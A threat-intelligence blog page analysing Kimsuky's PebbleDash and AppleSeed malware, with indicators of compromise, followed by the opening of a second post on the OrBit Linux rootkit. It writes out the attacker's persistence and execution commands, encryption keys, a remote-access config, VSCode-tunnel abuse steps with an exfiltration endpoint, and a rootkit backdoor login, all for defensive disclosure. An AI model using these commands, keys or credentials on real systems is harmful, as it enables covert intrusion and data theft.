Normal view

Kimsuky targets organizations with PebbleDash-based tools

14 May 2026 at 13:00

Over the past few months, we have conducted an in-depth analysis of specific activity clusters of Kimsuky (aka APT43, Ruby Sleet, Black Banshee, Sparkling Pisces, Velvet Chollima, and Springtail), a prolific Korean-speaking threat actor. Our research revealed notable tactical shifts throughout multiple phases of the group’s latest campaigns.

Kimsuky has continuously introduced new malware variants based on the PebbleDash platform, a tool historically leveraged by the Lazarus Group but appropriated by Kimsuky since at least 2021. Our monitoring indicates various strategic updates to the group’s arsenal, including the use of VSCode Tunneling, Cloudflare Quick Tunnels, DWAgent, large language models (LLMs), and the Rust programming language. This expanding set of tools underscores the group’s ongoing adaptation and evolution.

Specifically, Kimsuky leveraged legitimate VSCode tunneling mechanisms to establish persistence and distributed the open-source DWAgent remote monitoring and management tool for post-exploitation activities. These activities affected various sectors in South Korea, impacting both public and private entities.

This article covers both previously undocumented attacks and a deeper technical analysis of incidents within this campaign that have been reported before — offering new insight beyond what has already been published.

Executive summary

  • Kimsuky obtains initial access to target systems by delivering spear-phishing emails containing malicious attachments disguised as documents. They also contact targets via messengers in some cases.
  • Kimsuky uses a variety of droppers in different formats, such as JSE, PIF, SCR, EXE, etc.
  • The droppers deliver malware mainly belonging to two big clusters: PebbleDash and AppleSeed. These clusters are considered the most technically advanced in the group’s toolset. The report covers the following PebbleDash malware: HelloDoor, httpMalice, MemLoad, httpTroy. It also covers AppleSeed and HappyDoor from AppleSeed cluster.
  • For post-exploitation activities Kimsuky uses legitimate tools Visual Studio Code (VSCode) and DWAgent. For VSCode, the attacker uses GitHub authentication method.
  • For hosting C2 infrastructure the group mainly uses domains registered at a free South Korean hosting provider. It also occasionally relies on hacked South Korean websites and tunneling tools, such as Ngrok or VSCode.
  • Kimsuky mainly targets South Korean entities. However, PebbleDash attacks were also seen in Brazil and Germany. This malware cluster focuses on defense sector, while AppleSeed most often targets government organizations.

Background

First identified by Kaspersky in 2013, Kimsuky has been active for over 10 years and is considered less technically proficient compared to other Korean-speaking APT groups. The group has targeted a wide range of entities and demonstrated capability in creating tailored spear-phishing emails. The group’s arsenal includes proprietary malware such as PebbleDash, BabyShark, AppleSeed, and RandomQuery, as well as open-source RATs like xRAT, XenoRAT, and TutRAT. This blog post examines the evolving PebbleDash-based malware (referred to as the PebbleDash cluster) and its connections to the AppleSeed-based malware (referred to as the AppleSeed cluster).

The PebbleDash and AppleSeed clusters are considered the most technically advanced in Kimsuky’s toolset. Since at least 2019, these clusters have masqueraded as legitimate documents and application installers, manifesting as JSE droppers or executables with .EXE, .SCR and .PIF extensions. Both are particularly adept at establishing backdoors and stealing information, and ongoing development of their variants has been observed. They even occasionally utilize stolen legitimate certificates from South Korean organizations to avoid detection.

Timeline of the AppleSeed and PebbleDash malware families

Timeline of the AppleSeed and PebbleDash malware families

AppleSeed and PebbleDash have primarily targeted the public and private sectors in South Korea. The PebbleDash cluster has shown a particular interest in the medical, military and defense industries worldwide. The PebbleDash cluster compromised Brazilian and South Korean defense organizations throughout the past several years, as well as a German defense firm. In 2024, the South Korean government released a security advisory regarding the AppleSeed cluster, detailing how the malware was distributed by replacing a security software installer required to access a construction entity’s website.

Initial access

Kimsuky meticulously crafts and delivers spear-phishing emails to its targets in an attempt to entice them into opening attachments. According to recent research, the group also occasionally approaches targets by contacting them via messengers. In all cases, the initial contact leads to the delivery of a malicious attachment disguised as a document. These attachments often consist of compressed files containing droppers in formats such as .JSE, .EXE, .PIF, or .SCR. The filenames are consistent with the message content and are meant to convince the recipient to open the attachment. The malicious files are often disguised as product quotations, job offers, information guides, surveys, government documents, and personal photos.

Here are some recently discovered examples:

Number Filename Filename (translated to English) Detection date MD5 Malware deployed
1 [별지 제8호서식] 개인정보(열람 정정삭제 처리정지) 요구서(개인정보 보호법 시행규칙).hwp.jse Appendix Form No. 8 – Request for Access, Correction, Deletion, and Suspension of Processing of Personal Information (PIPA Enforcement Rules).hwp.jse August 28, 2025 995a0a49ae4b244928b3f67e2bfd7a6e HelloDoor
2 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류.hwpx.jse Documents for the Selection of Commissioned Students for Domestic Graduate School Master’s Evening Programs (H1 2026).hwpx.jse December 14, 2025 52f1ff082e981cbdfd1f045c6021c63f httpMalice
3 security_20260126.scr January 26, 2026 65fc9f06de5603e2c1af9b4f288bb22c Reger Dropper, MemLoad, httpTroy
4 노현정님.pdf.jse Ms. Noh Hyun-jung.pdf.jse January 28, 2026 8e15c4d4f71bdd9dbc48cd2cabc87806 AppleSeed chain
5 대국민서비스관리운영체계현장점검증적(초안).pif On-site Inspection Evidence for the Public Service Management System (Draft).pif February 5, 2026 8983ffa6da23e0b99ccc58c17b9788c7 Pidoc Dropper, HappyDoor

JSE droppers contain a minimum of two Base64-encoded blobs: one serving as a benign lure file and one or more containing malicious code. Additional blobs may exist within the dropper, but they are unused. The two blobs are decoded using JScript and stored in an arbitrary location on disk, such as C:\ProgramData, with the malicious filenames randomly generated according to the scheme [random]{7}.[random]{4}. The lure file is opened immediately. The malicious payload leverages powershell.exe -windowstyle hidden certutil -decode [src path] [dst path] for the second Base64 decoding before execution. Ultimately, the malicious payload is executed via command-line instructions such as regsvr32.exe /s [file path] or rundll32.exe [file path] [export function].

Reger Dropper (.SCR) and Pidoc Dropper (.PIF) also contain benign lure files and malicious payloads that, in both cases, are encrypted using XOR operations. Specifically, Reger Dropper employs a hard-coded key #RsfsetraW#@EsfesgsgAJOPj4eml;, while Pidoc Dropper utilizes single-byte XOR with 0xFF to decrypt the internal data for execution. Pidoc Dropper is fully obfuscated using dummy data and encrypted strings. Both droppers deploy files in specific directories such as %temp% or C:\ProgramData before executing the malware using regsvr32.exe.

In addition to these droppers, Kimsuky employed a variety of executable droppers, including those crafted in Go or packaged with Inno Setup.

Deployed malware

In this section, we describe several malware families recently dropped by the droppers discussed above.

HelloDoor: first Rust-based PebbleDash variant

Written in Rust, a programming language rarely used by Kimsuky, HelloDoor is a DLL-based backdoor first identified in August 2025. It is deployed via a malicious JSE dropper. Since it has limited capabilities and a simplistic communication mechanism, the backdoor is most probably in the early stages of development. Nevertheless, it is noteworthy that HelloDoor employs a C2 server hosted through TryCloudflare, a temporary tunneling service provided by Cloudflare. This service allows users to expose a local web service to the internet with no setup or account, making the infrastructure behind it difficult to trace.

HelloDoor establishes persistence upon execution by registering itself to the HKCU\Software\Microsoft\Windows\CurrentVersion\Run key with the value name tdll and the command regsvr32.exe /s [current file path].

The implant communicates with the C2 server (hxxp://female-disorder-beta-metropolitan.trycloudflare[.]com/index.php) over the HTTP protocol. Depending on whether the process is executing with an elevated token, it binds to a specific local port: 5555 if the token is elevated, or 5554 if not. Before initiating communication, it generates a unique identifier by collecting device information, such as the MAC address, computer name, and the string “windows”, then computes a hash value from this information.

The malware then constructs a query string in the format aaaaaaaaaa=2&bbbbbbbbbb=[the unique identifier]&cccccccccc=1, which is a traditional format used across the PebbleDash cluster. Subsequent server responses are Base64-decoded and then decrypted using RC4 with the key fwr3errsettwererfs. The decrypted content contains command strings. Possible commands are:

Command Description
“mcd” Set the current directory
“msleep” Sleep for the provided time
“install” Register the regsvr32.exe /s [the provided file path] command to the HKCU\Software\Microsoft\Windows\CurrentVersion\Run autorun registry using the install value name
[command] Execute the provided command using chcp 65001 > nul & cmd /U /C [command]

Though interesting, it is no longer surprising that we found comments in the code that appear to have been generated by an LLM service rather than a human developer. This is based on traces that include emojis used for logging debugging messages.

✅ Port is now listening (no accepting)
 ❌ Port is already in use
 🔍 regsvr32.exe detected as parent. Attempting to terminate...

This is a common trait of LLM services that provides users with better visibility. We previously observed similar comments in the PowerShell-based stealer suite used by BlueNoroff. HelloDoor’s simple structure and the fact that no other Rust-based malware from the group has been discovered yet support our claim.

Even though the code is believed to have been developed using an LLM service, we still found some typos and grammatical errors, such as:

  • result send fail (grammatically incorrect text)
  • server request fail (grammatically incorrect text)
  • command execute failed (grammatically incorrect text)
  • decrytion failed (typos)
  • autorum failed (typos)

It is likely that the flawed comments were added manually before or after AI was used.

httpMalice: latest backdoor variant of PebbleDash

The latest PebbleDash-based backdoor, httpMalice, emerged no later than December 2025 and is deployed by the JSE Dropper. Although we found limited direct connections to both the AppleSeed and PebbleDash clusters, the malware is closer to PebbleDash. The following shared characteristics have been identified:

  • (PebbleDash cluster) Ability to run commands received from the C2 server with the S-1-12-12288 SID, indicating a high integrity level – a feature also observed in PebbleDash and httpTroy.
  • (PebbleDash cluster) Unique identifier generated by combining the volume serial number of the root directory with the elevation status of the current token, mirroring a technique used since the appearance of NikiDoor.
  • (PebbleDash cluster) Communication with its C2 server utilizing three HTTP parameters, consistent with other PebbleDash-based families.
  • (PebbleDash cluster) Core command set more closely aligned with PebbleDash than with AppleSeed-based malware.
  • (AppleSeed cluster) Use of the m= parameter in C2 communication.
  • (AppleSeed cluster) Gathering system details using PowerShell and Windows commands similar to those found in AppleSeed and Troll Stealer.

Our analysis revealed two distinct versions of httpMalice based on their C2 communications: version 1.9 communicates over HTTP and version 1.8 uses Dropbox. The latter, the older variant, leverages the Dropbox API by utilizing pre-defined application credentials. Unlike its predecessor, the HTTP variant employs HTTP/HTTPS protocols to interact with its C2 server and maintains persistent access to the victim device through a Windows service named CacheDB. This mirrors tactics observed in similar threats, such as httpSpy.

The more recent variant gathers critical information from the compromised system, such as the current directory path, volume serial numbers, user privileges, username, local IP address, and the name and size of the currently executed httpMalice DLL file. It then combines the root drive’s volume serial number with the user’s access token privilege level to create a unique identifier for each infected system, formatted as [volume serial]{8}_[elevation status].

Value of elevation status Description
0 Running under the SYSTEM account with an elevated token
1 Running under an elevated administrator account
2 Running without elevation

Depending on the token privilege, the backdoor then establishes persistence by either creating a service or registering itself to autostart at user logon. If the token is elevated, a service named CacheDB is created that executes the command cmd.exe /c “rundll32.exe [current DLL path], load”. The service’s display name is set to Administrator, and its description is defined as CacheDB Service. If the token is not elevated, the backdoor registers the same command under the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run with the value name Everything 1.9a-[filesize]. The older version used Everything 1.8a-[filesize] as a value name.

The latest version can execute a combination of Windows commands by default to perform host profiling, while the older version fetches the command set from Dropbox. In httpMalice, commands are mostly executed using the format cmd.exe /c chcp 949 [command] > [temporary filename], which redirects the output to separate files, with the consistent prefix 2Ato6478s added to their names. The chcp 949 command changes the code page to 949, indicating that the malware targets users of the Korean language (EUC-KR charset).

Windows commands used to gather system details

Windows commands used to gather system details

httpMalice transmits the result of host profiling to its C2 server as a URL parameter, using the POST method over the HTTP/HTTPS protocol, with the header x-www-form-urlencoded. The URL includes two or three parameters: operation mode, unique identifier (referred to as UID), and data. The operation mode, or parameter m, supports the following values:

Value Description
1 Send the session identifier (parameter s) along with the current state (parameter a)
2 Request command
3 Send result after executing the command (parameter d)
8 Request directory to be archived and sent
9 Send the archived directory
10 Send a message like “.cmd” or “.tmp” (parameter d)
11 Send ping
12 Send the captured screenshot (parameter d)
13 Send the infected device information (parameter d)

As shown in the table above, the mode is set to 13 at the host profiling stage. The UID is formatted as [volume serial]{8}_[elevation status], and the data contains the ChaCha20-encrypted and Base64-encoded output of the command set stored in the temporary file. The resulting URL format is: m=13&u=[volume serial]{8}_[elevation status]&d=[Chacha20 encrypted + Base64-encoded data to be sent].

The key and nonce used for ChaCha20 encryption are derived from the pointer address of the buffer, resulting in nearly randomized keys. To ensure proper decryption on the attacker side, the nonce and key values are appended after the encrypted data, and the combined blob is then Base64-encoded. The counter is initialized to 0. The following figure illustrates how the encrypted data is structured after performing Base64 decoding.

Structure of the ChaCha20-encrypted data blob

Structure of the ChaCha20-encrypted data blob

After sending the host profiling data, the backdoor continuously transmits a screen capture with mode 12 and a ping message with mode 11. Finally, it sends a session identifier, which is a combination of the current username and local IP address separated by an ‘@’ symbol. In this case, the mode is set to 1 and the a parameter (current state) is set to 0, indicating that the C2 operation has been activated. The following table provides other possible values of the a parameter:

Value Description
0 httpMalice has been activated
1 httpMalice has been inactivated (upon command 9)
2 httpMalice has been removed (upon command 8)

The whole process from sending the host profile to the backdoor activation repeats every two minutes until the C2 server returns a “success!” message.

C2 communication sequence of httpMalice

C2 communication sequence of httpMalice

When the backdoor receives the message from the C2 server, it creates two threads dedicated to processing commands and sending the current state, including the session identifier. The first thread receives a command from the C2 server. It requests a command by sending mode 2 and, if successful, immediately sends mode 10 along with the string “.cmd” in the d parameter.

The commands supported by httpMalice are as follows:

Command Description
0 Do nothing
1 Execute the command with EUC-KR encoding
2 Download and extract the file to the infected device
3 Upload a directory to the C2 server after it has been archived
5 Get the current directory
6 Set the current directory
7 Execute the command without setting a EUC-KR character set
8 Remove its persistence traces and exit the process
9 Hibernate
10 Execute the command using the provided session ID
12 Capture the screen
13 Load the downloaded payload into memory

MemLoad downloads httpTroy

Since early 2025, we have observed several versions of MemLoad; specifically, MemLoad V2 emerged in March, and V3 appeared by September. The payload that began being deployed through the Reger Dropper this year has been identified as an updated variant of MemLoad, slightly modified from the V3 version (referred to internally as MemLoader.dll).

Kimsuky leverages MemLoad to evade detection of its final backdoor and to carefully assess the value of targeted systems through anti-VM checks and reconnaissance. Upon installation, it requests an additional payload from the C2 server, executing it reflectively in memory if deemed suitable. Notably, all versions of MemLoad V2 and later use the same RC4 key.

Below are the key operations of MemLoad:

  1. Creates a flag file. Creates a file containing a random eight-character string from the set 0123456789abcdefABCDEF with another random eight-character string as the name and “.dat.cfg” extension at the current file path.
  2. Generates an ID. Generates an ID value by adding either ‘A-‘ or ‘U-‘ to the beginning of the random bytes. The choice of symbol is determined by attempting to create a random file in the C:\Windows\system32 directory. If successful, the ID starts with ‘A-‘ (indicating administrative privileges); otherwise, it starts with ‘U-‘.
  3. Persistence via a scheduled task. Checks for the existence of the .dat.cfg file, and if confirmed, a scheduled task is set up for persistence. The task name is determined by whether the process is running with elevated privileges. If elevated, the task is named ChromeCheck, and the command schtasks /create /tn <task name> /tr "regsvr32 /s <current file path>" /sc minute /mo 1 /rl highest /f is executed. Otherwise, the task is named EdgeCheck, and the command schtasks /create /tn <task name> /tr "regsvr32 /s <current file path>" /sc minute /mo 1 /f is executed.
  4. C2 communication and payload download. Requests an additional payload from its C2 server, with the header Authorization: Bearer {ID} or X-Browser-Validation: {ID} for authentication. The ID is set to the previously generated ID value.
  5. Payload decryption and execution. Once the download is successful, the payload is decrypted using the RC4 algorithm with the key #RsfsetraW#@EsfesgsgAJOPj4eml;. The decrypted payload is then reflectively loaded into memory, and its hello export function is invoked.

The payload downloaded and executed by MemLoad is identified as the httpTroy backdoor. This backdoor serves as the primary role for long-term access and data exfiltration. Similar to MemLoad, it employs stealth techniques by creating a flag file and writing eight random bytes to it. However, in this case the file is created at [current file path]:HUI in the ADS (Alternative Data Stream) area. The backdoor then checks its privileges to determine if it is elevated and assigns an ID value in the format A-[random-8-chars] or U-[random-8-chars].

Since Gen Digital covers httpTroy’s features and functionality in detail elsewhere, we will not provide a thorough explanation here to avoid redundancy. Instead, we will simply note that it communicates with the C2 server at hxxps://file.bigcloud.n-e[.]kr/index.php.

AppleSeed

AppleSeed first appeared in 2019 and reached version 3.0. However, we now only see version 2.1. It originally consisted of two components: a dropper and the main AppleSeed. Since 2022, the updated AppleSeed chain has involved two droppers, an additional component referred to as the installer, and the main payload. It is mostly delivered through JSE Dropper.

Updated AppleSeed infection chain

Updated AppleSeed infection chain

There are two versions of the main AppleSeed: Dropper and Spy. The Dropper variant is responsible for downloading additional malware and executing commands received from its C2 server, while the Spy version gathers sensitive information such as documents, screenshots, keystrokes, and lists of USB drives. A notable change in version 2.1 is the inclusion, since 2022, of collecting the C:\GPKI directory – functionality that is also implemented in Troll Stealer. This directory contains a digital certificate used by the South Korean government to securely authenticate public officials and government systems.

HappyDoor

HappyDoor, an AppleSeed-based backdoor malware disclosed by AhnLab in 2024, is less visible than AppleSeed. HappyDoor shares several features with AppleSeed, including the same string obfuscation algorithm, the data types it collects, and the use of RSA encryption. Given these similarities, we assess with medium confidence that HappyDoor is an advanced variant evolved from AppleSeed.

Post-exploitation

We observed interesting post-exploitation activities involving VSCode and DWAgent. All of the observed VSCode droppers used the same lure files as the PebbleDash malware cluster. While we are unsure of the exact reason for this strategy, we suspect that the actor prepared both PebbleDash and VSCode droppers in anticipation of the PebbleDash infection chain being detected by security products because of its backdoor capabilities. In contrast, the use of VSCode is designed to have fewer detection points.

VSCode (launched by the JSE dropper)

Since last year, Kimsuky has been leveraging the legitimate Visual Studio Code Remote Tunneling feature to establish covert remote access to the victim’s device, bypassing detection designed for traditional malware-based C2 channels (first described by Darktrace researchers). In these attacks, instead of dropping malware, the JSE dropper downloads a legitimate Visual Studio Code (VSCode) CLI onto the infected device. The script establishes persistence by creating a tunnel via the application, with the tunnel name “bizeugene”, using the command below.

The Remote Tunneling feature in VSCode supports establishing a tunnel using either a Microsoft or GitHub account. When the code tunnel command is executed, the CLI initiates an authentication flow and returns a login URL along with a device code. The user must then navigate to the URL, enter the device code, and authenticate with their account. Once authentication is successful, the tunnel is created and the CLI outputs a URL for tunneling that enables browser-based access to the remote host.

The GitHub authentication method is selected in this instance because GitHub is configured as the default provider in non-interactive execution contexts. By using echo |, the script injects a \r\n (Carriage Return and Line Feed) into the standard input stream, effectively confirming the default prompt selection without manual interaction. As a result, the CLI automatically initiates the GitHub authentication flow. Next, all CLI output that includes a login URL and a device code is saved to out.txt.

Out.txt content

Out.txt content

The JScript code in the JSE dropper monitors the out.txt file for a URL that begins with hxxps://vscode[.]dev/tunnel. This URL contains the full address of the established tunnel. Once detected, the file content containing the URL and the device code is sent to a compromised legitimate South Korean website (hxxps://www.yespp.co[.]kr/common/include/code/out[.]php) using the HTTP POST method. The request contains the file contents in the application/x-www-form-urlencoded header data formatted as out=URLencoded{result of the command}&token=URLencoded{"bizeugene"}. After authentication is complete, the attacker can access the compromised host externally through a web browser by authenticating with their own GitHub account.

VSCode (launched by VSCode installer)

While searching our telemetry for artifacts related to a different infection, we identified a new VSCode tunnel installer written in Go. A previous version of this installer was implemented using JScript and was limited to secure channels because of its reliance on a specific tunnel name. The new variant, named vscode_payload by the developer based on the embedded Go path, is fully operational and supports every tunnel on each targeted device. It includes features that are nearly identical to those of the previous version, such as downloading, unarchiving, and executing the VSCode CLI.

Number Installer type VSCode version Download source
1 Written in JScript VSCode CLI 1.106.3 hxxps://vscode.download.prss.microsoft[.]com/dbazure/download/stable/bf9252a2fb45be6893dd8870c0bf37e2e1766d61/vscode_cli_win32_x64_cli[.]zip
2 Written in Go VSCode CLI 1.106.2 hxxps://vscode.download.prss.microsoft[.]com/dbazure/download/stable/1e3c50d64110be466c0b4a45222e81d2c9352888/vscode_cli_win32_x64_cli[.]zip

After the VSCode CLI file has been successfully downloaded, it is unzipped into the C:\Users\Public directory, and the extracted code.exe is executed with the tunnel command.

This is how the installer works:

  1. Executes code.exe tunnel.
  2. Searches for the “Microsoft Account” string in the stdout.
  3. Sends the 0x1B 0x5B 0x42 (Down Arrow) and 0x0A (Enter) escape sequence to the pseudo-terminal, which enables tunnel creation via a GitHub account.
  4. Searches for the “use code” string in the stdout.
  5. Sends the printed code for authentication, prepended with the “hxxps://github[.]com/login/device” => prefix. The attacker authorizes Visual Studio Code with the logged-in GitHub account using the printed code.
  6. Searches for the “What would you like to call this machine?” string in the stdout.
  7. Sends the 0x0A escape sequence to the pseudo-terminal to use the current machine name as the identifier.
  8. Searches for the “https://vscode.dev/tunnel/” string in the stdout.
  9. Sends the printed URL for tunneling to the Slack WebHook.

The following figure illustrates the sequence for creating a tunnel using the VSCode CLI. Red boxes highlight the strings that the installer searches for. Yellow boxes indicate standard input operations sent from the installer using escape sequences. Sky blue boxes represent the values that are necessary to create the tunnel on the attacker’s side. (The “Microsoft Account” string in the second step is not shown in this figure because the second “GitHub Account” was already selected during the process.)

Creating a tunnel using VSCode CLI

Creating a tunnel using VSCode CLI

Once the process is complete, the attacker can access the targeted host through the tunnel on their remote machine using their GitHub account via a browser or VSCode. The targeted device then begins communicating with Microsoft-owned servers without the user realizing that the communication is from an attacker.

An interesting feature of this variant is that it sends debugging messages and necessary values to a Slack channel via a WebHook. Upon execution, it sends "+++ I am started +++", as well as a heartbeat message "~~~ I am alive ~~~" approximately every second during tunneling authentication.

DWAgent

DWAgent is a remote administration tool that is frequently exploited by threat actors, including ransomware and APT groups, to easily access compromised endpoints with minimal risk of detection. Kimsuky is one of the threat actors that uses this tool in its operations.

We observed that the group delivered DWAgent in at least two ways. The first involved delivering a compressed file containing DWAgent, along with separate commands, to a host infected with httpMalice for installation. The second method involved creating a separate installer.

This installer is very similar to the Reger Dropper. It uses the same RC4 key and has a similar code structure. It includes an archived binary and a legitimate unrar.exe binary, both encrypted with RC4. When executed, the installer decrypts the archived binary and saves it as 1.zip in the C:\ProgramData directory. It also creates an unrar.exe file in the same location using the decrypted unrar.exe binary. The dropper then uses the command C:\programdata\unrar.exe x C:\programdata\1.zip C:\programdata\ to extract the contents of the ZIP file. Finally, it executes the commands necessary to install DWService as a service on the target host:

  • c:\programdata\dwagent\native\dwagsvc.exe installService
  • c:\programdata\dwagent\native\dwagsvc.exe startService

The compressed file contains a pre-packaged, ready-to-use DWAgent, as well as a predefined config file. The actor deployed the agent with a config.json file linked to their own account to covertly control the device. As a result, the remote session is immediately activated by the above command, granting the attacker control.

The predefined config file is as follows. Note that the servers are legitimate DWAgent relay servers.

{
 "enabled": true,
 "key": "kDRNGmWGTMpjQmREgQzU",
 "listen_port": 7950,
 "nodes": [
  {
   "id": "ND896147",
   "port": "443",
   "server": "node896147.dwservice[.]net"
  },
  {
   "id": "ND828765",
   "port": "443",
   "server": "node828765.dwservice[.]net"
  },
  {
   "id": "ND484265",
   "port": "443",
   "server": "node484265.dwservice[.]net"
  }
 ],
 "password": "eJwrynEqD0r294twTXLKCHWqDPLPCql0Kg/JDqpIdk4HAKYMCso=",
 "url_primary": "hxxps://www.dwservice[.]net/"
}

Infrastructure

For years, Kimsuky has relied heavily on the South Korea-based free domain hosting service 내도메인[.]한국 (pronounced as “naedomain[.]hankook) to mimic legitimate sites with domains like .p-e.kr, .o-r.kr, .n-e.kr, .r-e.kr, and .kro.kr. This service has been utilized to create C2 servers for PebbleDash and AppleSeed clusters, and the background infrastructures have been mostly resolved to the virtual private servers belonging to InterServer. It has also been noted that many other malicious actors have exploited this free domain hosting service, so it alone cannot be considered proof of a connection to Kimsuky.

The actor also occasionally exploits South Korean websites as C2 servers to evade network-IoC-based detection and increase the success rate of attacks. Furthermore, they actively leverage tunneling services such as Cloudflare Quick Tunnels, VSCode Tunneling, and Ngrok to hide their infrastructure. These traits are mostly observed across the PebbleDash cluster.

Victims

We identified multiple infection logs uploaded to the Dropbox storage used for httpMalice’s C2 server. They were analyzed as having been stolen from infected systems across various organizations or individuals in South Korea. Notably, each victim’s folder contained a user.txt file with detailed information such as target details, the presence of something named “http” (possibly a backdoor, such as httpTroy or httpMalice), DWAgent existence, and relationships between infected devices and targets. While we could not verify the exact creation process of these files, they were likely created manually by attackers to manage victims using Korean words.

Below you can see an example of this type of file content. In this context, “장악” means “take over” and “있음” means “exists”.

[Target's name] [Description] [Infection date] 장악, http 있음, DWService 있음.

While both clusters have mainly focused on targeting the private and public sectors in South Korea, the AppleSeed malware cluster shows more interest in government entities. The PebbleDash cluster has also shown particular interest in the defense sector worldwide.

Attribution

Over the past few years, we have observed two clusters using overlapping distribution methods – JSE, EXE, SCR, and PIF droppers. The targets are also increasingly aligning. Furthermore, we noted that several samples from both malware clusters were signed with the same stolen certificate and used identical mutex patterns. These findings suggest that a single actor is likely controlling both clusters and has the capability to modify code as needed. This concept was also described in another research paper at the Virus Bulletin conference.

Since its emergence, AppleSeed has been linked to Kimsuky operations, with each variant showing ties to the group. Since 2021, PebbleDash has been found exclusively in Kimsuky attacks. Based on our analysis of targets, infrastructure, and malware characteristics, we assess with medium-high confidence that attacks associated with these malware families are conducted by Kimsuky-affiliated clusters.

These two clusters share technical links to the threat actor known as Ruby Sleet, one of the names Microsoft uses for Kimsuky activity. In previous reports, Mandiant also referred to these clusters as Cerium, but now they appear to consider them part of the broader APT43 designation – another name for Kimsuky.

Conclusion

Our analysis shows that the actor retains access to the original source code of the malware clusters and the ability to modify it. Over time, malware undergoes updates and modifications, sometimes being repurposed or reused by other actors. Although analyzing malware may seem repetitive and time-consuming, understanding how these tools evolve helps us grasp the threat actor’s changing tactics.

Two clusters have overlapping target sectors that span the defense, military, government, medical, machinery, and energy industries. The AppleSeed cluster is shifting its focus to data exfiltration, and GPKI certificate extraction has become a signature capability. Meanwhile, the PebbleDash cluster demonstrates advanced remote control capabilities and an expanding set of targets.

Although AI may offer full automation for some attacks, many groups stick with the tools and strategies they have used for years. Structuring a fully automated attack is not trivial. Despite ongoing changes, we will continue to track advanced threat actors by comprehensively considering malware, initial vectors, targets, post-exploitation activities, and ultimate goals.

Indicators of compromise

File hashes

JSE Dropper
995a0a49ae4b244928b3f67e2bfd7a6e         [별지 제8호서식] 개인정보(열람 정정삭제 처리정지) 요구서(개인정보 보호법 시행규칙).hwp.jse
52f1ff082e981cbdfd1f045c6021c63f             2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류.hwpx.jse
9fe43e08c8f446554340f972dac8a68c          2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse
8e15c4d4f71bdd9dbc48cd2cabc87806         노현정님.pdf.jse

Reger Dropper
65fc9f06de5603e2c1af9b4f288bb22c                       security_20260126.scr
c19aeaedbbfc4e029f7e9bdface495b9                      secu.scr

Pidoc Dropper
8983ffa6da23e0b99ccc58c17b9788c7                      대국민서비스관리운영체계_현장점검_증적(초안).pif

AppleSeed (Dropper)
a7f0a18ac87e982d6f32f7a715e12532
f4465403f9693939fe9c439f0ab33610
5c373c2116ab4a615e622f577e22e9be

HappyDoor
d1ec20144c83bba921243e72c517da5e

MemLoad
58ac2f65e335922be3f60e57099dc8a3
f73ba062116ea9f37d072aa41c7f5108          jhsakqvv.dat

httpTroy
7e0825019d0de0c1c4a1673f94043ddb        c:\programdata\config.db

httpMalice
08160acf08fccecde7b34090db18b321
94faed9af49c98a89c8acc55e97276c9

HelloDoor
c42ae004badddd3017adadbdd1421e00

VSCode Tunnel installer
9ca5f93a732f404bbb2cee848f5bbda0                      xipbkmaw.exe

DWAgent installer
678fb1a87af525c33ba2492552d5c0e2

Domains and IPs

opedromos1.r-e[.]kr                            C2 of AppleSeed
morames.r-e[.]kr                                 C2 of AppleSeed
load.ssangyongcne.o-r[.]kr                 C2 of MemLoad
load.yju.o-r[.]kr                                   C2 of MemLoad
attach.docucloud.o-r[.]kr                    C2 of MemLoad
load.supershop.o-r[.]kr                       C2 of MemLoad
load.erasecloud.n-e[.]kr                     C2 of MemLoad

cms.spaceyou.o-r[.]kr                         C2 of HappyDoor
erp.spaceme.p-e[.]kr                          C2 of HappyDoor

file.bigcloud.n-e[.]kr                            C2 of httpTroy
load.auraria[.]org                                C2 of httpTroy

female-disorder-beta-metropolitan.trycloudflare[.]com         C2 of HelloDoor
hxxps://www.pyrotech.co[.]kr/common/include/tech/default.php      C2 of httpMalice
hxxp://newjo-imd[.]com/common/include/library/default.php            C2 of httpMalice
hxxps://www.yespp.co[.]kr/common/include/code/out.php               VSCode Tunneling using JScript

OrBit (Re)turns: Tracking an open-source Linux rootkit across four years of forks and deployments

14 May 2026 at 14:34

In July 2022, we published the first analysis of OrBit, a then-undocumented Linux userland-rootkit that stood out for its comprehensive libc hooking, SSH backdoor access, and PAM-based credential harvesting. At the time, OrBit appeared as a single sample with a single operator fingerprint, and the codebase itself looked customized.

It wasn’t. As we will show below, OrBit is a repackaged and selectively weaponized build of Medusa, an open-source LD_PRELOAD rootkit published on GitHub in December 2022. The story of OrBit’s four-year evolution is not one of novel development; it’s the story of how a publicly available rootkit was forked, configured, and redeployed.

Nearly four years later, OrBit is still in the wild, and it has not stood still. Hunting across VirusTotal, we pulled more than a dozen samples spanning 2022 through 2026 and walked each one through static and differential analysis. We discovered two parallel lineages: a full-featured “Lineage A” build that tracks closely with the 2022 original, and a lite “Lineage B” fork that drops entire capability domains (PAM, pcap, TCP-port hiding) in exchange for a smaller footprint. Along the way, the operators rotate XOR keys, shuffle install paths, swap backdoor credentials, add auditd-evasion hooks, and eventually bolt on a service-side PAM impersonation primitive.

This blog picks up where the 2022 analysis left off. We focus on what changed, when, and why it matters for defenders. For each epoch, we enumerate the samples, call out the lineage, and break down the meaningful changes: credential changes, hook-set diffs, new evasion behavior, and operator tradecraft.

Background: What is OrBit?

For readers unfamiliar with the original analysis, OrBit is a Linux userland-rootkit deployed as a shared library (.so) that achieves persistence by patching the dynamic linker, specifically modifying ld.so to ensure the malicious library is loaded into every process on the system. It operates as a passive implant with no command-and-control communication; instead, the attacker connects in through an SSH backdoor. Once installed, OrBit hooks into PAM functions to harvest credentials from SSH and sudo authentication attempts, storing the captured passwords locally.

Its evasion capabilities are comprehensive, hooking over forty libc functions to hide files, processes, and network connections from administrators and security tools alike. The malware stores its harvested credentials and configuration data in /lib/libntpVnQE6mk/, a directory that remains invisible to standard enumeration thanks to the rootkit’s own hooks.

July 2022

Hash XOR Working dir SSH Username SSH Password # Exports # Hooks Dropper
40b5127c 0xA2 /lib/libntpVnQE6mk/ 2l8 c4ss0ul3tt3 66 54 f1612924

We will refer to this variant as Lineage A “Full” build of OrBit.

OrBit variants through the years

In our research, we collected samples from VirusTotal. Unlike PE files, ELF files don’t include a compilation timestamp, so we started by aggregating the samples by the date they were submitted to VirusTotal. To track the samples on the blog, we use the first 8 characters of each sample’s SHA-256. At the bottom of the blog, you can find the full list of IOCs.

December 2022

